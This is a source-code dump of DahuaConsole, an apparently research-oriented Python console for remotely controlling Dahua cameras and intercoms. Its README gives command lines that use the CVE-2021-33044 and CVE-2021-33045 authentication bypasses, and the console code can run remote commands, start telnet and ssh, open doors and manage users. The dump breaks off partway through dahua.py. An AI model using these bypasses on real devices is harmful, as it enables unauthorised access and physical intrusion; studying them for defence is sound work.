Repository: mcw0/DahuaConsole Branch: master Commit: 5711bc865e88 Files: 15 Total size: 289.5 KB Directory structure: gitextract_a6zqxfdp/ ├── .gitignore ├── Console.py ├── LICENSE ├── README.md ├── connection.py ├── dahua.py ├── dahua_logon_modes.py ├── events.py ├── eventviewer.py ├── net.py ├── pwdmanager.py ├── relay.py ├── requirements.txt ├── servers.py └── utils.py ================================================ FILE CONTENTS ================================================ ================================================ FILE: .gitignore ================================================ __pycache__/ .idea/ .git/ backup/ *.json /venv/ ================================================ FILE: Console.py ================================================ #!/usr/bin/env python3 """ Author: bashis 2019-2021 Subject: Dahua Debug Console """ import argparse import _thread from utils import * from pwdmanager import PwdManager from dahua import DahuaFunctions from servers import Servers class DebugConsole(Servers): """ main init and loop for console I/O """ """ If multiple Consoles is attached to one device, all attached Consoles will receive same output from device """ def __init__(self, dargs): super(DebugConsole, self).__init__() self.dargs = dargs if self.dargs.dump or self.dargs.test: self.dump() return if self.dargs.restore: self.restore(self.dargs.restore) return self.main_console() # # Main console for instances # def main_console(self): # # Additional Cmd list # cmd_list = { 'certificate': { 'cmd': 'self.dh.get_remote_info("certificate")', 'help': 'Dump some information of remote certificate', }, 'config': { 'cmd': 'self.dh.config_members(msg)', 'help': 'remote config (-h for params)', }, 'console': { 'cmd': 'self.dh_console(msg)', 'help': 'console instance handling (-h for params)', }, 'debug': { 'cmd': 'self.debug_instance(msg)', 'help': 'debug instance (-h for params)', }, 'device': { 'cmd': 'self.dh.get_remote_info(msg)', 'help': 'Dump some information of remote device', }, 'dhp2p': { 'cmd': 'self.dh.get_remote_info("dhp2p")', 'help': 'Dump some information of dhp2p', }, 'diag': { 'cmd': 'self.dh.interim_remote_diagnose(msg)', 'help': 'Interim Remote Diagnose (-h for params)', }, 'door': { 'cmd': 'self.dh.open_door(msg)', 'help': 'open door (-h for params)', }, 'events': { 'cmd': 'self.dh.event_manager(msg)', 'help': 'Subscribe on events from eventManager (-h for params)', }, 'fuzz': { 'cmd': 'self.dh.fuzz_service(msg)', 'help': 'fuzz service methods (-h for params)', }, 'ldiscover': { 'cmd': 'self.dh.dh_discover(msg)', 'help': 'Device Discovery from this script (-h for params)', }, 'dlog': { 'cmd': 'self.dh.dlog(msg)', 'help': 'Log stuff (-h for params)', }, 'network': { 'cmd': 'self.dh.net_app(msg)', 'help': 'Network stuff (-h for params)', }, 'memory': { 'cmd': 'self.memory_info()', 'help': 'Used memory of this script (-h for params)', }, 'pcap': { 'cmd': 'self.dh.network_sniffer_manager(msg)', 'help': 'remote device pcap (-h for params)', }, 'rdiscover': { 'cmd': 'self.dh.device_discovery(msg)', 'help': 'Device Discovery from remote device (-h for params)', }, 'service': { 'cmd': 'self.dh.list_service(msg)', 'help': 'List remote services and "methods" (-h for params)', }, 'sshd': { 'cmd': 'self.dh.telnetd_sshd(msg)', 'help': 'Start / Stop (-h for params)', }, 'setDebug': { 'cmd': 'self.dh.set_debug()', 'help': 'Should start produce output from Console in VTO/VTH', }, 'telnet': { 'cmd': 'self.dh.telnetd_sshd(msg)', 'help': 'Start / Stop (-h for params)', }, 'test-config': { 'cmd': 'self.dh.new_config(msg)', 'help': 'New config test (-h for params)', }, 'ldap': { 'cmd': 'self.dh.set_ldap()', 'help': 'LDAP test', }, 'uboot': { 'cmd': 'self.dh.u_boot(msg)', 'help': 'U-Boot Environment Variables (-h for params)', }, '"quit"': { 'cmd': 'self.dh_console(msg)', 'help': '"quit" active instance "quit all" to quit from all', }, '"reboot"': { 'cmd': 'self.dh_console(msg)', 'help': '"reboot" active instance "reboot all" to reboot all', }, 'REBOOT': { 'cmd': 'self.dh.reboot()', 'help': 'Try force reboot of remote', }, 'dh_test': { 'cmd': 'self.dh.dh_test(msg)', 'help': 'TEST function (-h for params)', }, 'usermgr': { 'cmd': 'self.dh.user_manager(msg)', 'help': 'User management (-h for params)', }, } dh_data = None if not self.dargs.auth: dh_data = PwdManager().get_host(self.dargs.rhost) if not dh_data: log.failure(color('You need to use --auth :', RED)) return False if self.dargs.events: _thread.start_new_thread(self.event_in_out_server, ()) _thread.start_new_thread(self.terminate_daemons, ()) try: # # Connect multiple pre-defined devices # if self.dargs.multihost and not (self.dargs.dump or self.dargs.test or self.dargs.auth or self.dargs.rhost): for host in range(0, len(dh_data)): try: self.connect_rhost( rhost=dh_data[host].get('host'), rport=dh_data[host].get('port'), proto=dh_data[host].get('proto'), username=dh_data[host].get('username'), password=None, events=self.dargs.events if self.dargs.events else dh_data[host].get('events'), ssl=self.dargs.ssl, relay_host=dh_data[host].get('relay'), logon=dh_data[host].get('logon'), timeout=5 ) except KeyboardInterrupt: return False except Exception as e: print('MainConsole()', repr(e)) if e.args == ('Authentication failed.',): return False pass if not len(self.dhConsole): return False # # Connect single device pre-defined/or w/ credentials from command line # else: if not self.connect_rhost( rhost=self.dargs.rhost if self.dargs.auth else dh_data.get('host'), rport=self.dargs.rport if self.dargs.auth else dh_data.get('port'), proto=self.dargs.proto if self.dargs.auth else dh_data.get('proto'), username=self.dargs.auth.split(':')[0] if self.dargs.auth else None, password=self.dargs.auth.split(':')[1] if self.dargs.auth else None, events=self.dargs.events if self.dargs.auth else dh_data.get('events'), ssl=self.dargs.ssl, relay_host=self.dargs.relay if self.dargs.auth else dh_data.get('relay'), logon=self.dargs.logon if self.dargs.auth else dh_data.get('logon'), timeout=5 ): return False except KeyboardInterrupt: return False except AttributeError as e: print(repr(e)) log.failure('[MainConsole]') return False # # Main Console loop # while True: try: self.prompt() # Python 3: readline() returns str, no need to decode msg = sys.stdin.readline().strip() if not self.dh or not self.dh.remote.connected(): log.failure('No available instance') return False cmd = msg.split() if msg: if msg == 'shell' and not self.dargs.force: log.failure("[shell] will execute and hang the Console/Device (DoS)") log.failure("If you still want to try, run this script with --force") continue elif msg == 'exit' and not self.dargs.force: log.failure("[exit] You really want to exit? (maybe you mean 'quit' this connection?)") log.failure("If you still want to try, run this script with --force") continue command = None for command in cmd_list: if command == cmd[0]: tmp = cmd_list[command]['cmd'] exec(tmp) break if command == cmd[0]: continue if self.dh.terminate: # console kill self.dh self.dh_console('console kill self.dh') continue if msg == 'quit' or len(cmd) == 2 and cmd[0] == 'quit' and cmd[1] == 'all': if len(cmd) == 2 and cmd[1] == 'all': self.quit_host(quit_all=True) return True if not self.quit_host(quit_all=False, msg=msg): return False elif msg == 'shutdown' or msg == 'reboot' or len(cmd) == 2 and cmd[1] == 'all': if len(cmd) == 2 and cmd[1] == 'all': self.quit_host(quit_all=True, msg=msg) return True if not self.quit_host(quit_all=False, msg=msg): return False elif msg == 'help': self.dh.run_cmd(msg) self.dh.subscribe_notify(status=True) log.info("Local cmd:") for command in cmd_list: log.success("{}: {}".format(command, cmd_list[command]['help'])) else: if not self.dh.run_cmd(msg): log.failure("Invalid command: 'help' for help") continue self.dh.subscribe_notify(status=True) except KeyboardInterrupt: pass except EOFError as e: print('[Console]', repr(e)) return False # except Exception as e: # print('[Console]', repr(e)) # pass @staticmethod def memory_info(): from resource import getrusage, RUSAGE_SELF memory = getrusage(RUSAGE_SELF).ru_maxrss if sys.platform == 'darwin': memory = memory / 1024 log.info("Memory usage: {}".format(size(memory))) def set_config(self, key, table): method_name = 'configManager' self.dh.instance_service(method_name, start=True) object_id = self.dh.instance_service(method_name, pull='object') query_args = { "method": "configManager.setConfig", "params": { "table": table, "name": key, }, "object": object_id, } log.info(f"Setting {key}") dh_data = self.dh.send_call(query_args) if not dh_data: return print(json.dumps(dh_data, indent=4)) def restore(self, fd): self.connect() """ Restores configuration from json file""" config = json.loads(fd.read()) for k, v in config['params']['table'].items(): self.set_config(k, v) def connect(self): """ Handle the '--dump' options from command line """ self.dhConsole = {} self.dhConsoleNo = 0 self.udp_server = None if not self.connect_rhost( rhost=self.dargs.rhost, rport=self.dargs.rport, proto=self.dargs.proto, username=self.dargs.auth.split(':')[0] if self.dargs.auth else None, password=self.dargs.auth.split(':')[1] if self.dargs.auth else None, events=self.dargs.events, ssl=self.dargs.ssl, relay_host=self.dargs.relay, logon=self.dargs.logon, timeout=5 ): return None if self.dargs.test: self.dh.dh_test('test') return None def dump(self): self.connect() if self.dargs.dump == 'config': self.dh.config_members("{} {}".format("config", self.dargs.dump_argv if self.dargs.dump_argv else "all")) self.dh.logout() return None elif self.dargs.dump == 'service': self.dh.listService("{} {}".format("service", self.dargs.dump_argv if self.dargs.dump_argv else "all")) self.dh.logout() return None elif self.dargs.dump == 'device': self.dh.getRemoteInfo('device') self.dh.logout() return None elif self.dargs.dump == 'discover': self.dh.deviceDiscovery("{} {}".format("discover", self.dargs.dump_argv)) self.dh.logout() return None elif self.dargs.dump == 'test': self.dh.dh_test('test') self.dh.logout() return None elif self.dargs.dump == 'dlog': self.dh.dlog('test') self.dh.logout() return None else: log.error('No such dump: {}'.format(self.dargs.dump)) return None def quit_host(self, quit_all=False, msg=None): """ Quit from single device, or 'all' """ cmd = '' session = None if msg: cmd = msg.split() if quit_all: while True: for session in self.dhConsole: log.warning("{}: {} ({})".format( session, self.dhConsole.get(session).get('device'), self.dhConsole.get(session).get('host'), )) self.dh = self.dhConsole.get(session).get('instance') if msg and len(cmd) == 2 and cmd[1] == 'all': self.dh.cleanup() self.dh.run_cmd(cmd[0]) if not self.dh.console_attach and cmd[0] == 'reboot': self.dh.reboot(delay=2) self.dh.logout() self.dh.terminate = True break del self.dh self.dhConsole.pop(session) if not len(self.dhConsole): break if self.tcp_server: self.tcp_server.close() if self.udp_server: self.udp_server.close() return True else: for session in self.dhConsole: if self.dhConsole.get(session).get('instance') == self.dh: log.warning("{}: {} ({})".format( session, self.dhConsole.get(session).get('device'), self.dhConsole.get(session).get('host'), )) self.dh.cleanup() self.dh.run_cmd(msg) if not self.dh.console_attach and msg == 'reboot': self.dh.reboot(delay=2) self.dh.logout() self.dh.terminate = True self.dhConsole.pop(session) del self.dh break if not self.dh_instance(): return False return True def dh_instance(self, show=False): """Show connected instance""" if not show: if not len(self.dhConsole): self.dh = False return False for session in self.dhConsole: self.dh = self.dhConsole.get(session).get('instance') break for session in self.dhConsole: log.info('Console: {}, Device: {} ({}) {} {}'.format( session, self.dhConsole.get(session).get('device'), self.dhConsole.get(session).get('host'), color('Active', GREEN) if self.dhConsole.get(session).get('instance') == self.dh else '', '{} {}'.format( color( '(calls)'.format(self.dhConsole.get(session).get('instance').debug), YELLOW) if self.dhConsole.get(session).get('instance').debugCalls else '', color( '(traffic: {})'.format(self.dhConsole.get(session).get('instance').debug), YELLOW) if self.dhConsole.get(session).get('instance').debug else '', ))) return True @staticmethod def prompt(): prompt_text = "\033[92m[\033[91mConsole\033[92m]\033[0m# " sys.stdout.write(prompt_text) sys.stdout.flush() def dh_console(self, msg): """Handling connection/kill of instance from main Console""" cmd = msg.split() usage = { "conn": { "all": "(connect all pre-defined devices)", "": " [[] | [ []]", "": "(connect pre-defined device )" }, "kill": { "dh<#>": "(kill instance dh<#>)" }, "dh<#>": "(switch active console. e.g. 'console dh0')" } if len(cmd) == 2 and cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return True elif len(cmd) == 3 and cmd[1] == 'kill': if len(cmd) == 2: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True try: tmp = self.dhConsole.get(cmd[2]).get('instance') except AttributeError: log.failure('Console ({}) do not exist'.format(cmd[2])) return False self.dhConsole.pop(cmd[2]) tmp.terminate = True tmp.logout() del tmp if not self.dh_instance(): return False return True elif len(cmd) >= 2 and cmd[1] == 'conn': if len(cmd) > 2 and cmd[2] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return False if len(cmd) == 2 or len(cmd) == 3: dh_data = PwdManager().get_host() if len(cmd) == 2: """ console conn """ for host in range(0, len(dh_data)): conn = next( ( session for session in self.dhConsole if dh_data[host].get('host') == self.dhConsole.get(session).get('host') ), None) log.info('{} {}'.format( dh_data[host].get('host'), 'Connected ({})'.format(color(conn, GREEN)) if conn else '')) return True if cmd[2] == 'all': """ console conn all """ for host in range(0, len(dh_data)): if not self.connect_rhost( rhost=dh_data[host].get('host'), rport=dh_data[host].get('port'), proto=dh_data[host].get('proto'), username=dh_data[host].get('username'), password=None, events=self.dargs.events if self.dargs.events else dh_data[host].get('events'), relay_host=dh_data[host].get('relay'), ssl=self.dargs.ssl, timeout=5): pass return True """ console conn """ host = check_host(cmd[2]) if not host: log.failure('"{}" not valid host'.format(cmd[2])) return False dh_data = PwdManager().get_host(host=host) if not dh_data: return False if not self.connect_rhost( rhost=dh_data.get('host'), rport=dh_data.get('port'), proto=dh_data.get('proto'), username=dh_data.get('username'), password=None, events=self.dargs.events if self.dargs.events else dh_data.get('events'), ssl=self.dargs.ssl, relay_host=dh_data.get('relay'), timeout=5): return False if not self.dh_instance(show=True): return False return True elif len(cmd) == 4: log.failure('Need at least "rhost"') return False elif len(cmd) >= 5 and not len(cmd) > 5: rhost = cmd[4] rport = cmd[5] if len(cmd) == 6 else 37777 proto = 'dvrip' elif len(cmd) >= 6 and cmd[5] == 'dhip': rhost = cmd[4] proto = cmd[5] rport = cmd[6] if len(cmd) == 7 else 5000 elif len(cmd) >= 6 and cmd[5] == 'dvrip' or cmd[5] == '3des': rhost = cmd[4] proto = cmd[5] rport = cmd[6] if len(cmd) == 7 else 37777 else: log.info('{}'.format(help_all(msg=msg, usage=usage))) return False log.info('Connecting with "{}" to {}:{}'.format(proto, rhost, rport)) if not self.connect_rhost( # rhost=cmd[4], rhost=rhost, rport=rport, proto=proto, username=cmd[2], password=cmd[3], events=self.dargs.events, ssl=self.dargs.ssl, # TODO: add relay_host # relay_host=, timeout=5): return False elif len(cmd) == 2: if cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return False try: self.dh = self.dhConsole.get(cmd[1]).get('instance') except AttributeError: log.failure("Console [{}] do not exist".format(cmd[1])) return if not self.dh_instance(show=True): return False return True def debug_instance(self, msg): """ Handle 'debug' command from main Console """ cmd = msg.split() usage = { "object": "(dict with info about attached services)", "instance": "(dict with connection details of instance)", "calls": "<0|1> (debug internal calls)", "traffic": "(debug DHIP/DVRIP traffic)", "test": "test" } if not len(cmd) > 1: log.info('{}'.format(help_all(msg=msg, usage=usage))) return if cmd[1] == 'object': self.dh.instance_service(method_name="", list_all=True) elif cmd[1] == 'test': object_methods = [ method_name for method_name in dir(self.dh) if callable(getattr(self.dh, method_name))] print(object_methods) elif cmd[1] == 'instance': for dh in self.dhConsole: dh_data = '{}'.format(help_msg(dh)) for key in self.dhConsole.get(dh): dh_data += '[{}] = {}\n'.format(key, self.dhConsole.get(dh).get(key)) log.info(dh_data) return True elif cmd[1] == 'calls': usage = { "calls": { "0": "(debug off)", "1": "(debug on)", } } if len(cmd) == 2 or len(cmd) == 3 and cmd[2] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return True else: try: if int(cmd[2]) < 0 or int(cmd[2]) > 1: log.info('{}'.format(help_all(msg=msg, usage=usage))) return False self.dh.debugCalls = int(cmd[2]) log.info('{} {}: {}'.format(cmd[0], cmd[1], self.dh.debugCalls)) except ValueError: log.failure("Not valid debug code: {}".format(cmd[2])) return False return True elif cmd[1] == 'traffic': usage = { "traffic": { "0": "(debug off)", "1": "(JSON traffic)", "2": "(hexdump traffic)", "3": "(hexdump + JSON traffic)", } } if len(cmd) == 2 or len(cmd) == 3 and cmd[2] == '-h': if len(cmd) <= 3: log.info('{}'.format(help_all(msg=msg, usage=usage))) return True else: try: if int(cmd[2]) < 0 or int(cmd[2]) > 3: log.info('{}'.format(help_all(msg=msg, usage=usage))) return False self.dh.debug = int(cmd[2]) log.info('{} {}: {}'.format(cmd[0], cmd[1], self.dh.debug)) except ValueError: log.failure("Not valid debug code: {}".format(cmd[2])) return False return True else: log.failure('No such command ({})'.format(msg)) return True def main(): banner = '[Dahua Debug Console 2019-2021 bashis ]\n' proto_choices = [ 'dhip', 'dvrip', '3des', 'http', 'https' ] logon_choices = [ 'wsse', 'loopback', 'netkeyboard', 'onvif:plain', 'onvif:digest', 'onvif:onvif', 'plain', 'ushield', 'ldap', 'ad', 'cms', 'local', 'rtsp', 'basic', 'old_digest', 'old_3des', 'gui' ] dump_choices = [ 'config', 'service', 'device', 'discover', 'log', 'test' ] discover_choices = [ 'dhip', 'dvrip' ] parser = argparse.ArgumentParser(description=('[*] ' + banner + ' [*]')) parser.add_argument('--rhost', required=False, type=str, default=None, help='Remote Target Address (IP/FQDN)') parser.add_argument('--rport', required=False, type=int, help='Remote Target Port') parser.add_argument( '--proto', required=False, type=str, choices=proto_choices, default='dvrip', help='Protocol [Default: dvrip]' ) parser.add_argument( '--relay', required=False, type=str, default=None, help='ssh://:@:' ) parser.add_argument( '--auth', required=False, type=str, default=None, help='Credentials (username:password) [Default: None]') parser.add_argument( '--ssl', required=False, default=False, action='store_true', help='Use SSL for remote connection') parser.add_argument( '-d', '--debug', required=False, default=0, const=0x1, dest="debug", action='store_const', help='JSON traffic' ) parser.add_argument( '-dd', '--ddebug', required=False, default=0, const=0x2, dest="ddebug", action='store_const', help='hexdump traffic' ) parser.add_argument( '--dump', required=False, default=False, type=str, choices=dump_choices, help='Dump remote config') parser.add_argument( '--restore', required=False, default=False, type=argparse.FileType('r'), help='Restores device config from json config') parser.add_argument('--dump_argv', required=False, default=None, type=str, help='ARGV to --dump') parser.add_argument('--test', required=False, default=False, action='store_true', help='test w/o login attempt') parser.add_argument( '--multihost', required=False, default=False, action='store_true', help='Connect hosts from "dhConsole.json"' ) parser.add_argument( '--save', required=False, default=False, action='store_true', help='Save host hash to "dhConsole.json"' ) parser.add_argument( '--events', required=False, default=False, action='store_true', help='Subscribe to events [Default: False]' ) parser.add_argument('--discover', required=False, type=str, choices=discover_choices, help='Discover local devices') parser.add_argument( '--logon', required=False, type=str, choices=logon_choices, default='default', help='Logon types') parser.add_argument( '-f', '--force', required=False, default=False, action='store_true', help='Bypass stops for dangerous commands' ) parser.add_argument('--calls', required=False, default=False, action='store_true', help='Debug internal calls') dargs = parser.parse_args() """ We want at least one argument, so print out help """ if len(sys.argv) == 1: parser.parse_args(['-h']) log.info(banner) dargs.debug = dargs.debug + dargs.ddebug """ if not dargs.relay: if dargs.proto == 'http' or dargs.proto == 'https': log.failure('proto "{}" works only with relay'.format(dargs.proto)) return False """ if dargs.logon in logon_choices: if dargs.proto not in ['dhip', 'http', 'https', '3des']: dargs.proto = 'dhip' if dargs.logon in ['loopback', 'netkeyboard']: if not dargs.auth: dargs.auth = 'admin:admin' if (dargs.proto == 'dvrip' or dargs.proto == '3des') and not dargs.rport: dargs.rport = 37777 elif dargs.proto == 'dhip' and not dargs.rport: dargs.rport = 5000 elif dargs.proto == 'http' and not dargs.rport: dargs.rport = 80 elif dargs.proto == 'https' and not dargs.rport: dargs.rport = 443 if dargs.ssl and not dargs.relay: if not dargs.force: log.failure("SSL do not fully work") log.failure("If you still want to try, run this script with --force") return False dargs.ssl = True if not dargs.rport: dargs.rport = '443' """ Check if RPORT is valid """ if not check_port(dargs.rport): log.failure("Invalid RPORT - Choose between 1 and 65535") return False """ Check if RHOST is valid IP or FQDN, get IP back """ if dargs.rhost is not None: if not check_host(dargs.rhost): log.failure("Invalid RHOST") return False if not dargs.discover: if dargs.rhost is None and not dargs.multihost: log.failure("[required] --multihost or --rhost") return False if dargs.ssl: log.info("SSL Mode Selected") if dargs.discover: if not dargs.rhost: if dargs.discover == 'dhip': """ Multicast """ dargs.rhost = '239.255.255.251' elif dargs.discover == 'dvrip': """ Broadcast """ dargs.rhost = '255.255.255.255' dh = DahuaFunctions(rhost=dargs.rhost, relay_host=dargs.relay, dargs=dargs) dh.dh_discover("ldiscover {} {}".format(dargs.discover, dargs.rhost)) else: DebugConsole(dargs=dargs) log.info("All done") if __name__ == '__main__': main() ================================================ FILE: LICENSE ================================================ MIT License Copyright (c) 2021 bashis Permission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the "Software"), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions: The above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software. THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE. ================================================ FILE: README.md ================================================ # Dahua Console - Version: Pre-alpha - Bugs: Indeed - TODO: Lots of stuff [Install requirements] ```text sudo pip3 install -r requirements.txt ``` [Arguments] ```text -h, --help show this help message and exit --rhost RHOST Remote Target Address (IP/FQDN) --rport RPORT Remote Target Port --proto {dhip,dvrip,3des,http,https} Protocol [Default: dvrip] --relay RELAY ssh://:@: --auth AUTH Credentials (username:password) [Default: None] --ssl Use SSL for remote connection -d, --debug JSON traffic -dd, --ddebug hexdump traffic --dump {config,service,device,discover,log,test} Dump remote config --dump_argv DUMP_ARGV ARGV to --dump --test test w/o login attempt --multihost Connect hosts from "dhConsole.json" --save Save host hash to "dhConsole.json" --events Subscribe to events [Default: False] --discover {dhip,dvrip} Discover local devices --logon {wsse,loopback,netkeyboard,onvif:plain,onvif:digest,onvif:onvif,plain,ushield,ldap,ad,cms,local,rtsp,basic,old_digest,gui} Logon types -f, --force Bypass stops for dangerous commands --calls Debug internal calls ``` --- [Release] [Update] 2022-07-10 - Added 3des_old logon method for VTH1510CH running V2 software from 2016 - Minor difference in the login packet data - Do not query device parameters on connect - will reset the connection - Added `--restore config-file.json` - Loads json configuration file or parts thereof. Example: `./Console.py --rhost 192.168.1.x --proto 3des --auth admin:admin --logon old_3des --dump config` [Update] 2021-10-07 Details here: https://github.com/mcw0/PoC/blob/master/Dahua%20authentication%20bypass.txt 2021-10-06 [CVE-2021-33044] Protocol needed: DHIP or HTTP/HTTPS (DHIP do not work with TLS/SSL @TCP/443) ```text [proto: dhip, normally using tcp/5000] ./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto dhip --rport 5000 [proto: dhip, usually working with HTTP port as well] ./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto dhip --rport 80 [proto: http/https] ./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto http --rport 80 ./Console.py --logon netkeyboard --rhost 192.168.57.20 --proto https --rport 443 ``` [CVE-2021-33045] Protocol needed: DHIP (DHIP do not work with TLS/SSL @TCP/443) ```text [proto: dhip, normally using tcp/5000] ./Console.py --logon loopback --rhost 192.168.57.20 --proto dhip --rport 5000 [proto: dhip, usually working with HTTP port as well] ./Console.py --logon loopback --rhost 192.168.57.20 --proto dhip --rport 80 ``` --- ================================================ FILE: connection.py ================================================ from utils import * from pwdmanager import PwdManager from dahua import DahuaFunctions class DahuaConnect(object): def __init__(self): super(DahuaConnect, self).__init__() self.dh = None self.dhConsole = {} self.dhConsoleNo = 0 self.udp_server = None self.tcp_server = None self.dargs = None def restart_connection(self, host): """ Handle restart of connections, trying every 30sec for 10 times, if no success, stop trying """ log.info('Scheduling reconnect to {}'.format(host)) dh_data = PwdManager().find_host(host) times = 0 while True: time.sleep(30) try: if not self.connect_rhost( rhost=dh_data.get('host'), rport=dh_data.get('port'), proto=dh_data.get('proto'), username=dh_data.get('username'), password=None, events=dh_data.get('events'), ssl=self.dargs.ssl, relay_host=dh_data.get('relay'), logon=dh_data.get('logon'), timeout=5): print('[restart_connection] ({})'.format(times)) times += 1 else: return True # except Exception: except AttributeError: log.failure('[restart_connection] ({})'.format(host)) pass if times == 10: log.failure('See you in valhalla {}'.format(host)) return False def connect_rhost( self, rhost=None, rport=0, proto=None, username=None, password=None, events=None, ssl=None, relay_host=None, logon=None, timeout=0): """ Handling connection(s) to remote device """ """ Check if RPORT is valid """ if not check_port(rport): log.failure("Invalid RPORT - Choose between 1 and 65535") return False """ Check if RHOST is valid IP or FQDN, get IP back """ if not check_host(rhost): return False for session in self.dhConsole: if self.dhConsole.get(session).get('host') == rhost: log.warning('Already connected to {}'.format(rhost)) return False """ Needed for get 'self.udp_server' set """ time.sleep(1) dh = DahuaFunctions( rhost=rhost, rport=rport, proto=proto, events=events, ssl=ssl, relay_host=relay_host, timeout=timeout, udp_server=self.udp_server, dargs=self.dargs ) try: if not dh.dh_connect(username=username, password=password, logon=logon, force=self.dargs.force): return False except PwnlibException as e: print('[connect_rhost.dh_connect()]', repr(e)) return False self.dh = dh if not self.dargs.test: self.dhConsole.update({ 'dh' + str(self.dhConsoleNo): { 'instance': self.dh, 'host': rhost, 'proto': proto, 'port': rport, 'device': self.dh.DeviceType, 'logon': logon, 'relay': relay_host, } }) self.dhConsoleNo += 1 return True ================================================ FILE: dahua.py ================================================ import copy from Crypto.PublicKey import RSA from OpenSSL import crypto from pathlib import Path """ Local imports """ from utils import * from net import Network class DahuaFunctions(Network): """ Dahua instance """ def __init__( self, rhost=None, rport=None, proto=None, events=False, ssl=False, relay_host=None, timeout=5, udp_server=True, dargs=None ): super(DahuaFunctions, self).__init__() self.rhost = rhost self.rport = rport self.proto = proto self.events = events self.ssl = ssl self.relay_host = relay_host self.timeout = timeout self.udp_server = udp_server self.args = dargs self.debug = dargs.debug self.debugCalls = dargs.calls # Some internal debugging self.fuzzServiceDB = {} # Used when fuzzing services self.DeviceType = '(null)' self.networkSnifferPath = None self.networkSnifferID = None self.dh_sniffer_nic = None self.attach_only = [] self.Attach = [] self.fuzz_factory = [] # # Send command to remote console, if not attached just ignore sending # def run_cmd(self, msg): query_args = { "SID": self.instance_service('console', pull='sid'), "method": "console.runCmd", "params": { "command": msg, }, "object": self.instance_service('console', pull='object'), } if self.console_attach or self.args.force: dh_data = self.p2p(query_args) if dh_data is not None: try: dh_data = json.loads(dh_data) except (json.decoder.JSONDecodeError, AttributeError) as e: log.failure('[runCmd]: {}'.format(repr(e))) print(dh_data) return False if not dh_data.get('result'): return False return True # # List and caches service(s) # def list_service(self, msg, fuzz=False): cmd = msg.split() service = None usage = { "": "(dump all remote services)", "": "(dump methods for )", "all": "(dump all remote services methods)", "help": "[|all] (\"system\" looks like only have builtin help)", "[|]": "[save ] (Save JSON to )", } if not len(cmd) == 1: if cmd[1] == '-h': log.info('{}'.format(help_all(msg=msg, usage=usage))) return True if len(cmd) == 3 and cmd[1] == 'help': self.help_service(cmd[2]) return if not self.RemoteServicesCache: self.check_for_service('dump') if not self.RemoteServicesCache: log.failure('[listService] EZIP perhaps?') return False if self.RemoteServicesCache.get('result'): if not self.args.dump: service = log.progress('Services') service.status("Start") tmp = {} cache = {} for count in range(0, len(self.RemoteServicesCache.get('params').get('service'))): if len(cmd) == 1: print(self.RemoteServicesCache.get('params').get('service')[count]) elif len(cmd) == 2 or len(cmd) == 4: query_tmp = { "method": "", "params": None, } query_tmp.update( {'method': cmd[1] + '.listMethod' if not cmd[1] == 'all' else self.RemoteServicesCache.get('params').get('service')[count] + '.listMethod'} ) if not self.RemoteMethodsCache.get( cmd[1] if not cmd[1] == 'all' else self.RemoteServicesCache.get('params').get('service')[count]): """ 'system.listMethod' not working with multicall """ if query_tmp.get('method') == 'system.listMethod': dh_data = self.send_call(query_tmp) tmp.update({query_tmp.get('method').split('.')[0]: dh_data}) dh_data.pop('result') dh_data.pop('id') """SessionID bug: 'method': 'snapManager.listMethod'""" dh_data.pop('session') if dh_data.get('session') else log.failure( "[listService] SessionID BUG ({})".format(query_tmp.get('method').split('.')[0])) self.RemoteMethodsCache.update({query_tmp.get('method').split('.')[0]: dh_data}) if not cmd[1] == 'all': break continue else: self.send_call(query_tmp, multicall=True) else: tmp.update({ cmd[1] if not cmd[1] == 'all' else self.RemoteServicesCache.get('params').get('service')[count]: self.RemoteMethodsCache.get( cmd[1] if not cmd[1] == 'all' else self.RemoteServicesCache.get('params').get('service')[count]) }) if not self.args.dump: service.status('{} of {}'.format( count+1, len(self.RemoteServicesCache.get('params').get('service')))) if not cmd[1] == 'all': break dh_data = self.send_call(None, multicall=True, multicallsend=True) # print('[list_service]', dh_data) if dh_data is None: cache = tmp elif dh_data is not None: for method_name in copy.deepcopy(dh_data): service.status(method_name) if not dh_data.get(method_name).get('result'): log.failure("[listService] Failure to fetch: {}".format(method_name.split('.')[0])) continue dh_data.get(method_name).pop('result') dh_data.get(method_name).pop('id') """SessionID bug: 'method': 'snapManager.listMethod'""" if dh_data.get(method_name).get('session'): dh_data.get(method_name).pop('session') """if dh_data.get(method_name).get('session') else log.failure( "[listService] SessionID BUG ({})".format(method_name.split('.')[0]))""" cache.update({method_name.split('.')[0]: dh_data.get(method_name)}) self.RemoteMethodsCache.update(cache) if len(tmp): cache.update(tmp) if not self.args.dump: service.success('Done') if fuzz: return self.RemoteMethodsCache if len(cmd) == 4 and cmd[2] == 'save': if len(cache): return self.save_to_file(file_name=cmd[3], dh_data=cache) log.failure('[listService] (save) Empty') if not len(cmd) == 1: if len(cache): print(json.dumps(cache, indent=4)) else: log.failure('[listService] (cache) Empty') return True else: log.failure("[listService] {}".format(self.RemoteServicesCache)) return False # # Used by 'list_service()' and 'config_members()' to save result to file # def save_to_file(self, file_name, dh_data): if not self.args.force: path = Path(file_name) if path.exists(): log.failure("[saveToFile] File {} exist (force with -f at startup)".format(file_name)) return False try: with open(file_name, 'w') as fd: fd.write(json.dumps(dh_data)) log.success("[saveToFile] Saved to: {}".format(file_name)) except IOError as e: log.failure("[saveToFile] Save {} fail: 